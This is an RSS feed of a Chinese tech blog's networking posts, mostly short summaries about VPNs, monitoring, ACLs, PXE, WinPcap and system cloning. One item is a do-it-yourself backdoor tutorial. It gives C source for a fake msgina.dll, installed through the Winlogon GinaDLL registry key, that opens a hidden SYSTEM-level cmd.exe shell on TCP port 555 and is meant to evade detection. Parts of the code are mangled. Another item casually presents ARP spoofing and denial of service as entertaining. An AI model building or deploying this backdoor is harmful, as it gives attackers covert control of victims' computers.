<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Network | Hessian's Blog</title><link>https://hessian.cn/cat/network</link><description>Hessian 的技术笔记：Linux、C++、网络与嵌入式</description><language>zh-CN</language><atom:link href="https://hessian.cn/cat/network/index.xml" rel="self" type="application/rss+xml"/><item><title>我真是万万也没有想到 居然是支付宝的锅</title><link>https://hessian.cn/p/1510.html</link><pubDate>Fri, 19 May 2017 13:33:26 +0800</pubDate><guid>https://hessian.cn/p/1510.html</guid><description>很长一段时间以来，我的chrome打开网页就经常出现err_network_changed。一直我也没找到到底什么原因，我也以为是之前用什么SwitchyOmega、Lantern之类的代理导致的问题，墙都不翻了，真是万万也没有想到。。。&#10;</description></item><item><title>不改路由表实现智能选择线路，提升访问国内外网站速度</title><link>https://hessian.cn/p/1472.html</link><pubDate>Tue, 15 Jul 2014 15:39:54 +0800</pubDate><guid>https://hessian.cn/p/1472.html</guid><description>互联网发明以后，我们可以很容易的去访问世界各地的知识资源。但是受限于网络环境的原因，部分资源我们去访问的时候会很慢，或者访问不了，这时候我们可以通过跳板、隧道、虚拟私有网络等形式去进行访问。在使用虚拟私有网络的过程中，大部分软件会通过修改网关地址将所有数据都通过虚拟私有网络进行传递，然而我们很多时候访问某些特定资源，比如本地资源时并不希望数据通过虚拟私有网络，这怎么办呢？&#10;</description></item><item><title>用goproxy实现基于VPN的本地HTTP代理</title><link>https://hessian.cn/p/1461.html</link><pubDate>Sat, 05 Jul 2014 18:14:20 +0800</pubDate><guid>https://hessian.cn/p/1461.html</guid><description>我最近用VPN的时候觉得有些地方不太好用，比如说用HTTP代理的时候可以用Chrome的proxy-switchysharp插件做自动切换，这样访问国内资源时和访问国外资源时都很快。因此我用goproxy写了几行代码做了个可以指定本地出口IP的http proxy，连VPN时去掉“Send all traffic over VPN connection“选项，然后用proxy-switchysharp自动切换出口。&#10;不过现在程序还有一些问题，我尝试去访问facebook和twitter都失败了，不知道为什么，同样是https，google和stackoverflow都是正常的，求高手指点。&#10;</description></item><item><title>CentOS + Cacti 集中监控服务器 （笔记）</title><link>https://hessian.cn/p/1411.html</link><pubDate>Wed, 15 Jan 2014 06:44:42 +0800</pubDate><guid>https://hessian.cn/p/1411.html</guid><description>Cacti官方网站&#10;官方文档——Installing Under Unix&#10;Percona Monitoring Plugins （Plugins for Cacti）&#10;Percona 为我们提供了很多包括linux,apache,mysql,redis,nginx等等常见服务的监控模板非常方便。&#10;下载地址 | 官方文档&#10;</description></item><item><title>CentOS 6.4 openvpn服务器搭建笔记</title><link>https://hessian.cn/p/1386.html</link><pubDate>Wed, 15 Jan 2014 06:24:26 +0800</pubDate><guid>https://hessian.cn/p/1386.html</guid><description>OpenVPN 源代码、安装包下载地址&#10;官方安装手册&#10;官方easy-rsa3 github&#10;1. 安装openvpn、easy-rsa&#10;yum install openvpn easy-rsa&#10;easy-rsa是生成秘钥用的一系列脚本集合。openvpn2.3版之后程序包里不再捆绑，需要单独安装，官方2.3版本的easy-rsa3改动比较&#10;大，网上也很少有用easy-rsa3的文章，为了避免麻烦，直接装源里的easy-rsa就好了。&#10;</description></item><item><title>NGINX userid 分析、解码</title><link>https://hessian.cn/p/1362.html</link><pubDate>Wed, 18 Sep 2013 02:05:43 +0800</pubDate><guid>https://hessian.cn/p/1362.html</guid><description>生成userid的代码在 http/modules/ngx_http_userid_filter_module.c 大概550行左右。&#10;uid_set 是4个uint32构成的，其中比较有用的是第二个unit32，是userid的生成时间。第四个是一个递增值 以 0x03030302 为初始值，每次递增0x100。&#10;</description></item><item><title>[转]开发大型高负载类网站应用的几个要点</title><link>https://hessian.cn/p/423.html</link><pubDate>Thu, 22 Nov 2007 14:28:00 +0800</pubDate><guid>https://hessian.cn/p/423.html</guid><description>作者：nightsailer 来源：http://www.phpchina.com/bbs/thread-15484-1-1.html&#10;看了一些人的所谓大型项目的方法,我感觉都是没有说到点子上，有点难受。&#10;我也说说自己的看法.我个人认为,很难衡量所谓项目是否大型,&#10;即便很简单的应用在高负载和高增长情况下都是一个挑战.因此,按照我的想法,姑且说是高负载&#10;高并发或者高增长情况下,需要考虑的问题.这些问题,很多是和程序开发无关,而是和整个系统的&#10;架构密切相关的.&#10;</description></item><item><title>网络层访问权限控制技术－ACL详解</title><link>https://hessian.cn/p/333.html</link><pubDate>Sat, 30 Jun 2007 08:27:00 +0800</pubDate><guid>https://hessian.cn/p/333.html</guid><description>技术从来都是一把双刃剑，网络应用与互联网的普及在大幅提高企业的生产经营效率的同时，也带来了诸如数据的安全性，员工利用互联网做与工作不相干事等负面影响。如何将一个网络有效的管理起来，尽可能的降低网络所带来的负面影响就成了摆在网络管理员面前的一个重要课题。&#10;A公司的某位可怜的网管目前就面临了一堆这样的问题。A公司建设了一个企业网，并通过一台路由器接入到互联网。在网络核心使用一台基于IOS的多层交换 机，所有的二层交换机也为可管理的基于IOS的交换机，在公司内部使用了VLAN技术，按照功能的不同分为了6个VLAN。分别是网络设备与网管 (VLAN1，10.1.1.0/24)、内部服务器(VLAN2)、Internet连接(VLAN3)、财务部（VLAN4）、市场部 (VLAN5)、研发部门（VLAN6），出口路由器上Fa0/0接公司内部网，通过s0/0连接到Internet。每个网段的三层设备（也就是客户机 上的缺省网关）地址都从高位向下分配，所有的其它节点地址均从低位向上分配。该网络的拓朴如下图所示：　</description></item><item><title>PXE技术简介</title><link>https://hessian.cn/p/436.html</link><pubDate>Wed, 18 Apr 2007 04:11:00 +0800</pubDate><guid>https://hessian.cn/p/436.html</guid><description>&#10;     PXE（Preboot Execution Environment）是INTEL推出的可用于无盘、有盘联网的网络协议。使用PXE功 能，首先要求客户端网卡的支持，其次，在服务器端也要有支持此协议的网管软件。在远程启动过程中，客户端通过PXE（存放于主板或者网卡上的 BIOS ROM中）向服务器发生请求，要求服务器分配一个IP地址，再用TFTP（Trivial File Transfer Protocol/小 文件传输协议）或MTFTP（Multicast Trivial File Transfer Protocol）协议下载一个启动软件包到本机内存中 并执行，由这个启动软件包完成终端基本软件设置，从而引导预先安装在服务器中的终端操作系统。从启动过程可以看出，PXE不需要记录客户端的网卡型号和 MAC地址等信息，因此只要设置好服务器端就可以应用于任一台带PXE协议的终端，减少了在PRL方式下对于不同网卡要做不同设置的重复劳动。PXE可以 引导多种终端操作系统，如Window95/98或Linux等。由于PXE协议将数据分割成极为细小的部分，所以数据的传输速度大大加快，相对于以前的 RPL远程引导无盘启动技术，PXE的运行速度提高三倍以上。PXE技术除目前支持无盘Win98启动外，不久将能支持WIN2000，以及LINUX， 而现时其它方案只能支持无盘WIN95启动。并且，在PXE4.0以上的版本，加入了启动安全验证服务BIS （Boot Integrity Services），更加强了网络的安全性。&#10;</description></item><item><title>[转]关于winpcap的一些认识</title><link>https://hessian.cn/p/500.html</link><pubDate>Mon, 16 Apr 2007 05:02:00 +0800</pubDate><guid>https://hessian.cn/p/500.html</guid><description>关于winpcap的一些认识关于winpcap的一些认识                                                                          Bill yuan&#10;                                                                                                          2004-9-29&#10;一．Winpcap简介&#10;       Winpcap是UNIX下的libpcap移植到windows下的产物,他是一个free and open source的项目。Winpcap工作于驱动(Driver)层，所以能以很高的效率进行网络操作。&#10;</description></item><item><title>自己打造GinaBackDoor</title><link>https://hessian.cn/p/463.html</link><pubDate>Mon, 16 Apr 2007 04:57:00 +0800</pubDate><guid>https://hessian.cn/p/463.html</guid><description> 前言&#10;“马”玩了不少，不过玩得都是别人写的，总感觉不是很爽。何不自己打造一个属于自己BackDoor呢？！&#10;既然是后门，当然是不能被轻易发现的，这是首要的一条。在WIN2K和XP下进程隐藏可以有DLL加载、远程注入等几种方式。我们今天采用虽然还是属于常见的DLL加载类型。不过这次是替换掉系统的核心DLL，如果强行删除的话……呵呵，下次启动就不正常了。&#10;Socket：毒啊毒！比“独行者”还毒！ 前置知识&#10;首先来介绍下Gina在windows中的作用：WinNT、Win2K等在进入用户shell前都有一个身份验证的过程。这个过程就是由Gina完成 的，Gina除了验证用户身份以外还要提供图形登陆界面。系统默认的Gina是msgina.dll，在系统目录system32下可以找到。微软除了提 供默认的Gina还允许自定义开发Gina以替换掉msgina.dll来实现自己的一些认证方式，这就为我们打造后门提供了条件！&#10;要替换掉系统默认加载的msgina.dll很简单，只要编辑注册表在HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersionWinlogon项下加入一个类型为REG_SZ，名为GinaDLL的键值，数据填写我们替换的GinaDLL的 名字就OK了。例如：&#10;[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]&#10;"GinaDLL"="ginadll.dll"（ginadll.dll就是我们用来替换的Gina）。&#10;在我们自己的DLL中只要邦定一个SHELL，其他的直接调用msgina.dll就行了。说直接一点就是安装 一个中间层，使其达到一个后门的目的。Gina是加载到winlogin进程中的，winlogin是系统的用户交互登陆进程，具有SYSTEM权限，理 所当然我们的后门也有SYSTEM权限，这对于后门来说是再好不过了。&#10;实现过程&#10;由于我们一共要替换15个Gina函数，全部写出来会相当大。这里就选几个重要部分做示范，其他的只需直接往下一层的msgina.dll调用就行了，详细请参考完整源代码。&#10;typedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );&#10;typedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );&#10;typedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );&#10;typedef int (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);&#10;typedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)( PVOID, PWSTR, PWSTR, PVOID );&#10;typedef int (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );&#10;typedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );&#10;typedef int (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );&#10;typedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );&#10;typedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );&#10;typedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );&#10;typedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );&#10;typedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );&#10;typedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );&#10;typedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO);&#10;后门要用到的全局变量&#10;//管道&#10;HANDLE hStdOut = NULL, hSRead = NULL;&#10;HANDLE hStdInput = NULL, hSWrite = NULL;&#10;//用来控制线程是否结束返回&#10;BOOL bExit = FALSE;&#10;//保存创建的CMD进程语柄&#10;HANDLE hProcess = NULL;&#10;//Winlogon进程最先调用的函数，用来检查Gina支持的winlogin版本&#10;BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)&#10;{&#10;HINSTANCE hDll=NULL;&#10;if( !(hDll = LoadLibrary( "msgina.dll" )) ) return FALSE;&#10;//取得msgina.dll中的WlxNegotiate函数入口&#10;PFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );&#10;if( !pWlxNegotiate ) return FALSE;&#10;//往下层调用&#10;return pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );&#10;}&#10;//为一个特别的窗口站初始化一个GinaDLL&#10;BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,&#10;PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)&#10;{&#10;HINSTANCE hDll=NULL;&#10;if( !(hDll = LoadLibrary( "msgina.dll" )) ) return FALSE;&#10;PFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );&#10;if( !pWlxInitialize ) return FALSE;&#10;//初始化windows socket的WS2_32.DLL&#10;WSADATA WSAData;&#10;if (WSAStartup(MAKEWORD(2,2), &amp;WSAData)!=0)&#10;return FALSE;&#10;//同上往下调用&#10;return pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,&#10;pWlxContext );&#10;}&#10;//Winlogon在没有用户登陆时接收到一个SAS事件调用这个函数&#10;int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,&#10;PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,&#10;PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,&#10;PVOID *pProfile)&#10;{&#10;HINSTANCE hDll=NULL;&#10;if( !(hDll = LoadLibrary( "msgina.dll" )) )&#10;return FALSE;&#10;PFUNCWLXLOGGEDOUTSAS pWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );&#10;if( !pWlxLoggedOutSAS ) return FALSE;&#10;HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象 WaitForSingleObject(hmutex,INFINITE); //后门的主线程开始&#10;CreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);&#10;ReleaseMutex(hmutex);&#10;CloseHandle(hmutex);&#10;//调用下层的WlxLoggedOutSAS&#10;int ret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );&#10;return ret;&#10;}&#10;//StartInit线程&#10;DWORD WINAPI StartInit(PVOID lp)&#10;{&#10;SOCKET sock=NULL;&#10;//建立一个TCP SOCKET&#10;sock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);&#10;SOCKADDR_IN addr_in = {0};&#10;addr_in.sin_family = AF_INET;&#10;addr_in.sin_port = htons(555); //端口号，可以自己改&#10;addr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);&#10;//绑定到555端口&#10;if(bind(sock,(sockaddr *)&amp;addr_in,sizeof(sockaddr))==SOCKET_ERROR)&#10;return 1;&#10;//侦听&#10;listen(sock,1);&#10;sockaddr_in sin={0};&#10;int size = sizeof(sin);&#10;while ( TRUE )&#10;{&#10;//接受一个连接的请求返回一个SOCKET没有请求则一直阻塞&#10;//在一个连接断开后又返回等待另外的连接&#10;SOCKET recvSock=accept(sock,(sockaddr *)&amp;sin,&amp;size);&#10;if ( recvSock == INVALID_SOCKET ) {&#10;Sleep(1000);&#10;continue;&#10;}&#10;HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象&#10;WaitForSingleObject(hmutex,INFINITE);&#10;//创建后门&#10;HANDLE hThread = CreateThread(NULL,NULL,BackDoor,&amp;recvSock,0,NULL);&#10;ReleaseMutex(hmutex);&#10;CloseHandle(hmutex);&#10;//等待BackDoor线程结束。&#10;WaitForSingleObject(hThread,INFINITE);&#10;bExit = FALSE;&#10;}&#10;return 1;&#10;}&#10;//BackDoor线程&#10;DWORD WINAPI BackDoor (LPVOID lp)&#10;{&#10;//用来设置管道可被子进程继承&#10;SECURITY_ATTRIBUTES sa; sa.bInheritHandle =TRUE;&#10;sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = NULL;&#10;//创建管道&#10;CreatePipe ( &amp;hSRead, &amp;hStdOut, &amp;sa, 0 );&#10;CreatePipe ( &amp;hStdInput, &amp;hSWrite, &amp;sa, 0 );&#10;STARTUPINFO StartInfor = {0};&#10;PROCESS_INFORMATION ProInfor = {0};&#10;//重定向子进程的标准输入输出，为我们刚刚建立好的管道&#10;StartInfor.cb = sizeof ( STARTUPINFO );&#10;StartInfor.wShowWindow = SW_HIDE;&#10;StartInfor.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;&#10;StartInfor.hStdOutput = StartInfor.hStdError = hStdOut;&#10;StartInfor.hStdInput = hStdInput;&#10;//取得CMD的完整路径&#10;TCHAR SysDir[MAX_PATH] = {0};&#10;GetSystemDirectory(SysDir,MAX_PATH);&#10;if ( SysDir[strlen(SysDir)-1] != ‘\’)&#10;strcat(SysDir,"\");&#10;strcat(SysDir,"cmd.exe");&#10;HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象 WaitForSingleObject(hmutex,INFINITE);&#10;//创建CMD子进程&#10;CreateProcess(NULL,SysDir,NULL,NULL,TRUE,NULL,NULL,NULL,&amp;StartInfor,&amp;ProInfor);&#10;hProcess = ProInfor.hProcess;&#10;//由于我们不对CMD的出入输出进行操作所以我们可以关闭&#10;CloseHandle(hStdOut);&#10;CloseHandle(hStdInput);&#10;HANDLE hArray[2] = {0};&#10;//创建一个接收命令线程和一个返回结果的线程&#10;hArray[0] = CreateThread (NULL,NULL,RecvThread,&amp;sock,NULL,NULL);&#10;hArray[1] = CreateThread (NULL,NULL,SendThread,&amp;sock,NULL,NULL);&#10;ReleaseMutex(hmutex);&#10;CloseHandle(hmutex);&#10;//等待2个线程的结束&#10;WaitForMultipleObjects(2,hArray,TRUE,INFINITE);&#10;closesocket(sock);&#10;return 1;&#10;}&#10;//RecvThread 线程&#10;DWORD WINAPI RecvThread ( LPVOID lp)&#10;{&#10;SOCKET sock = *(SOCKET*)lp;&#10;TCHAR CmdBuf[512] = {0}; //接收命令的Buf&#10;int num = 0;&#10;while ( TRUE )&#10;{&#10;if ( bExit == TRUE )&#10;return 1;&#10;TCHAR Tbuf[2] = {0};&#10;int ret = recv(sock, Tbuf, 1, 0); //接收一个字符&#10;if ( ret == 1 )&#10;{&#10;num++; //接收的字符记数&#10;strcat(CmdBuf,Tbuf); //追加到CmdBuf中&#10;send(sock,Tbuf,1,0); //回显&#10;if ( Tbuf[0] == ‘n’ ) //如接收到回车&#10;{&#10;TCHAR buf[5] = {0};&#10;DWORD A=0;&#10;//写到管道中供CMD的标准输入读取&#10;WriteFile(hSWrite,CmdBuf,num,&amp;A,NULL);&#10;memcpy ( buf, CmdBuf, 4);&#10;//如果是exit命令设置线程结束标志&#10;int ret = _stricmp (buf,"exit");&#10;if ( ret == 0 )&#10;bExit = TRUE;&#10;memset(CmdBuf,0,512);&#10;num=0;&#10;}&#10;}&#10;else&#10;{ //如果连接中断终止CMD进程&#10;bExit = TRUE;&#10;DWORD A=0;&#10;GetExitCodeProcess(hProcess,&amp;A);&#10;TerminateProcess(hProcess,A);&#10;}&#10;}&#10;return 1;&#10;}&#10;//SendThread 线程&#10;DWORD WINAPI SendThread ( LPVOID lp )&#10;{&#10;SOCKET sock = *(SOCKET*)lp;&#10;TCHAR Buf[512]={0};&#10;DWORD ReadSize = 0;&#10;while(TRUE)&#10;{&#10;if ( bExit == TRUE ) //如果结束标志为真线程返回&#10;return 1;&#10;//查看管道是否有数据可读&#10;PeekNamedPipe(hSRead,Buf,512,&amp;ReadSize,NULL,NULL);&#10;//有就读取 没有就Sleep0.1s再次检查&#10;if ( ReadSize &gt; 0 )&#10;ReadFile(hSRead,Buf,512,&amp;ReadSize,NULL);&#10;else {&#10;Sleep(100);&#10;continue;&#10;}&#10;//把从管道读出来的数据发给客户端.&#10;send (sock,Buf,ReadSize,0);&#10;memset(Buf,0,512);&#10;}&#10;return 1;&#10;</description></item><item><title>Winpcap简介</title><link>https://hessian.cn/p/519.html</link><pubDate>Mon, 16 Apr 2007 04:54:00 +0800</pubDate><guid>https://hessian.cn/p/519.html</guid><description>译自WinPcap Developer’s pack ，3.0 alpha。ps：traffic generators这个名词怎样译？今天上不了国外网，暂时还查不到资料。&#10;capture series 是今后陆续要写的系列，包括翻译文档，自己的开发经验，以及去年发现并已修改的Jpcap里的一个大bug（伪首部及检验和）。&#10;</description></item><item><title>走出Windows XP系统最小化克隆误区</title><link>https://hessian.cn/p/411.html</link><pubDate>Mon, 16 Apr 2007 04:22:00 +0800</pubDate><guid>https://hessian.cn/p/411.html</guid><description>在病毒猖獗的互联网时代，小小的Ghost给大家帮了不少忙!–3分钟克隆，3分钟恢复，瞬间系统还原如初!　然而，人们总是在追求更简便的应用，于是，网络内外到处都有关于Ghost最小化克隆的经验技巧。可令人遗憾的是，对目前Windows XP的最小化克隆，误导性的操作比比皆是，以讹传讹!　误导之一：删除C盘根目录下的页面文件Hiberfil.sys　一种做法是教读者一步步打开“控制面板→电源选项→休眠”，取消勾选“启用电源”;另一种做法则更卖力——在DOS 6.22里找到Deltree.exe命令文件，复制到系统盘根目录，然后再通过各种方式将电脑启动到纯DOS，执行Deltree Hiberfil.sys命令以将其删除–因为在Windows下删不掉Hiberfil.sys!　误导之二：移动虚拟内存或删除Pagefile.sys文件　也有两种误导方式：一是移动虚拟内存到其他分区;二是同上面一样，启动到纯DOS通过Deltree来删除。　其实，以上两个文件尽管很大(默认情况下，Hiberfil.sys一般为255MB，Pagefile.sys一般为384MB)，但用Ghost软 件进行克隆时，Ghost并没有将它们复制到.gho文件里面去–我曾用Ghost 6.0/7.0/8.0等多个版本反复进行过多次对比克隆，不管是系统盘有没有这两个文件，克隆的最终结果都是433351KB(423MB)左右;同 时，用鬼探测者(GhostEXP.exe)打开.gho文件，也都没有Hiberfil.sys和Pagefile.sys的身影!既然如此，何必多此 一举!　那么，使要克隆的系统盘最小化，可取的措施有哪些呢?　1. 通过Sfc.exe /purgecache清除文件缓存，这是最见效的一招，可将系统减少370MB左右;　2. 通过对系统盘进行搜索，找出所有的.cab、.zip压缩包，移走或删除(能减少85MB左右);　3. 通过Cleanmgr(附件里的磁盘清理工具)以及对 .tmp、$ 临时文件的搜索等方式删除临时文件;　4. 至于帮助文件、字体文件、桌面墙纸文件等，可以移走或删除;　5. 对于系统自作主张为你安装的组件，比如MSN、OE、附件里的游戏等等，可通过“添加/删除程序”将其卸载;　6. 很重要的一个习惯：将所有程序都安装在另一个分区，以减少系统分区的大小;　7. 删除系统盘根目录下的用于系统还原的记载及备份——对于XP系统来说，即便是系统刚装好，也可能在System Volume Information目录中存在几十乃至上百MB的备份文件(单击“工具→文件夹选项→查看”，取消勾选“隐藏受保护的操作系统文件”即可看到)。这一 步一般放在最后也就是克隆之前做，这样才能彻底清空，因为只要你的系统还原功能没有关闭，在其监视之下你所做的一切修改都将在C:System Volume Information里备案!当然，删除了它们，在此之前所做的一切修改也就不能还原了!&#10;</description></item><item><title>Windows操作系统万能Ghost全攻略</title><link>https://hessian.cn/p/550.html</link><pubDate>Sun, 15 Apr 2007 19:19:00 +0800</pubDate><guid>https://hessian.cn/p/550.html</guid><description>&#10;相 信很多朋友都有经常被朋友拉去修机器的经历，重装系统就成了噩梦，于是，万能GHOST诞生了，但是网上很多万能GHOST都没有电源管理的解决办法，也 就是说做出来的系统不能软关机。而且网络上发布的万能GHOST大多只是一个空系统罢了，装软件同样费时间啊…………</description></item><item><title>【转】RouterOS 下载地址 教程 资料</title><link>https://hessian.cn/p/618.html</link><pubDate>Sat, 14 Apr 2007 05:30:00 +0800</pubDate><guid>https://hessian.cn/p/618.html</guid><description> http://jjlong.zx3721.com/ros/ros2.96.rar （教程一）&#10;http://jjlong.zx3721.com/ros/Mikrotik2.9.6详细教程.rar （教程二）&#10;http://jjlong.zx3721.com/ros/ghost版ros2.97.rar&#10;http://jjlong.zx3721.com/ros/firewall.rar 我用的防火墙也不知道是那个版本了网上传的版本太多了&#10;http://jjlong.zx3721.com/ros/VPNJX.rar 基于VPN连接方式的虚拟双线教程&#10;http://jjlong.zx3721.com/ros/子网计算器.rar   子网计算器做ROS的时候算不到的用下这个试试。。&#10;自己的空间~   不可能不能下的。。如果顶的多还会更新的~ http://jjlong.zx3721.com/ros/RouterOS中文使用说明书.rar&#10;http://jjlong.zx3721.com/ros/RouterOS中文手册1.doc&#10;http://jjlong.zx3721.com/ros/RouterOS中文手册2.doc&#10;ROShttp://jjlong.zx3721.com/ros/固定光纤IP+动态IPADSL实现双线负载.rar&#10;http://jjlong.zx3721.com/ros/防火墙脚本.exe&#10;http://jjlong.zx3721.com/ros/vpn的配置.exe&#10;http://jjlong.zx3721.com/ros/PPPoE服务器配置.exe&#10;http://jjlong.zx3721.com/ros/NAT配置.exe&#10;http://jjlong.zx3721.com/ros/DHCP设置.exe&#10;下面是几个ros版本&#10;http://jjlong.zx3721.com/ros/Mikrotik-2.9.6.iso.rar&#10;http://jjlong.zx3721.com/ros/mikrotik-2.9.26.iso.rar&#10;http://jjlong.zx3721.com/ros/mikrotik-2.9.27.iso.rar&#10;http://jjlong.zx3721.com/ros/mikrotik-2.9.7.iso.rar&#10;http://jjlong.zx3721.com/ros/mikrotik-2.8.18.iso.rar&#10;由于服务器问题ISO的文件不能下。。现在在ISO后加个RAR。下完后把RAR扩展名删了改成ISO。。抱歉。。&#10;感谢原来贴主的大公无私。&#10;原来的贴处： http://bbs.txwm.com/dispbbs.asp?BoardID=190&amp;ID=529866&#10;</description></item><item><title>关于ARP和ICMP</title><link>https://hessian.cn/p/472.html</link><pubDate>Mon, 09 Apr 2007 21:16:00 +0800</pubDate><guid>https://hessian.cn/p/472.html</guid><description>对于旁观者来说，事物的缺点和优点往往是同时存在的。我很高兴可以向你们显示两&#10;个正规的协议——arp和icmp，当你用一些特殊的方法使用它们的时候，却得到意想不到的结果。&#10;相对于被动攻击（网络监听sniffing）来说，主动攻击使用的并不普遍——许多管理&#10;员都拥有一个网络监听工具，帮助他们管理局域网。在你的LAN中，主动攻击将会给你的生活添&#10;加光彩和乐趣。你知道，仅仅是一些技术细节使得这些角落有些昏暗不明。那么，我们去看看&#10;那里究竟有些是什么。&#10;我们首先描述一下网络欺骗（spoofing）和拒绝服务（DoS-deny of service）。象IP&#10;盲攻击一样，网络攻击常常非常普通并且功能强大，但是对使用者来说，需要做大量的工作（常&#10;常是猜），而且难于实行。但是ARP欺骗正好相反，它非常容易使用且方便。&#10;</description></item><item><title>网吧操作系统制作与优化2007最终版</title><link>https://hessian.cn/p/468.html</link><pubDate>Sat, 07 Apr 2007 14:27:00 +0800</pubDate><guid>https://hessian.cn/p/468.html</guid><description>一直就想写这么一个关于网吧系统制作的完整的思路了，网上关于系统制作的帖子比比皆是，但都不是很详尽。虽然自己之前也写过类似的文章，但是都觉得不是很 满意，没有能够完整的表达出来自己的意愿。有一些制作思路来源于网上，我稍微做了些修改。这也许算是对自己系统制作方法的一个小结把，写出来给大家提供一 个参考，如果觉得有什么不足，欢迎朋友们与我一起共同探讨。&#10;</description></item></channel></rss>